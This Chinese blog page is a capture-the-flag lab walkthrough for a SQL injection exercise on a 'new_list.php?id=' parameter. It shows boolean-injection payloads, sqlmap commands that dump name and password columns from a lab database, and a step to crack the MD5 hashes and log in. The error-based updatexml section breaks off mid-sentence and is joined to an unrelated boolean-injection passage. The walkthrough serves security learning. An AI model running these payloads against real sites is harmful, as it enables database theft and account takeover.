墨者学院-SQL注入漏洞测试(报错盲注)

启动靶场正常访问:

随便输入账号和密码:

并没有发现什么可用的信息

点击查看公告:

可以看到详细的公告哈!我们看看能不能在公告上做文章。

/new_list.php?id=1 and 1=1

 在我以为可以直接注入的时候,我发现1=2的时候也能正常显示哈!!!

然后在找闭合的时候,发现数据库报错的信息会显示出来。所以我们可以利用数据库报错展示出我们想要的数据。

开始注入:

        updatexml函数错误 

updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中
墨者靶场进行 SQL 注入漏洞测试(布尔),可按以下步骤操作: 1. **环境探查与漏洞初筛**:进入靶场环境找到后台管理页面,先尝试弱口令和万能密码,若失败则抓包查看登陆处是否存在注入漏洞。若未发现,仔细查看页面寻找新链接,点击跳转后若怀疑存在注入漏洞,可构造特定 URL 进行测试,以确认是否为数字型 SQL 注入漏洞。例如构造 `http://219.153.49.228:41979/new_list.php?id=1` 查看是否有回显,再构造 `http://219.153.49.228:41979/new_list.php?id=1'` 查看是否无回显,还可构造 `http://219.153.49.228:41979/new_list.php?id=1 and 1=1` 和 `http://219.153.49.228:41979/new_list.php?id=1 and 1=2` 分别查看有无回显来判断 [^1]。 2. **手动判断数据库信息** - **判断数据库名长度**:若未找到回显位,可尝试布尔型注入。如输入 `id=1 and length(database())=1`,根据返回页面是否空白判断长度是否为 1,逐个尝试确定数据库名长度 [^4]。 - **判断数据库名**:确定长度后,输入 `id=1 and substr(database(),1,1)='a' --+`,根据返回页面情况确定数据库名的第一个字符,依此类推确定整个数据库名 [^4]。 3. **使用 sqlmap 自动化操作** - **检测注入并获取数据库信息**:使用命令 `sqlmap -u <目标 URL>` 进行注入检测。若要获取数据库列表,可使用 `python2 sqlmap.py -u <目标 URL> -technique=B --dbs` 或 `sqlmap.py -u <目标 URL> --dbs` [^1][^2][^3][^4]。 - **获取数据库中的表**:确定数据库名(如 `stormgroup`)后,使用 `python2 sqlmap.py -u <目标 URL> -technique=B -D=<数据库名> --tables` 或 `sqlmap.py -u <目标 URL> -D <数据库名> --tables` 获取表名 [^1][^2][^4]。 - **获取表中的列**:使用 `python2 sqlmap.py -u <目标 URL> -technique=B -D <数据库名> -T <表名> --columns` 或 `sqlmap.py -u <目标 URL> -D <数据库名> -T <表名> --columns` 获取列名 [^1][^2][^4]。 - **获取表中的内容**:使用 `python2 sqlmap.py -u <目标 URL> -technique=B -D <数据库名> -T <表名> -C <列名> --dump` 或 `sqlmap.py -u <目标 URL> -D <数据库名> -T <表名> -C <列名> --dump` 获取指定列的内容 [^2][^4]。 4. **后续处理**:获取到加密的密码等信息后,可找网站进行 MD5 解密,然后使用解密后的信息尝试登录,获取 key [^1][^2][^4]。 ### 示例代码 ```bash # 使用 sqlmap 检测注入并获取数据库列表 sqlmap -u http://219.153.49.228:41979/new_list.php?id=1 --dbs # 获取指定数据库中的表 sqlmap -u http://219.153.49.228:41979/new_list.php?id=1 -D stormgroup --tables # 获取指定表中的列 sqlmap -u http://219.153.49.228:41979/new_list.php?id=1 -D stormgroup -T member --columns # 获取指定列的内容 sqlmap -u http://219.153.49.228:41979/new_list.php?id=1 -D stormgroup -T member -C name,password --dump ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值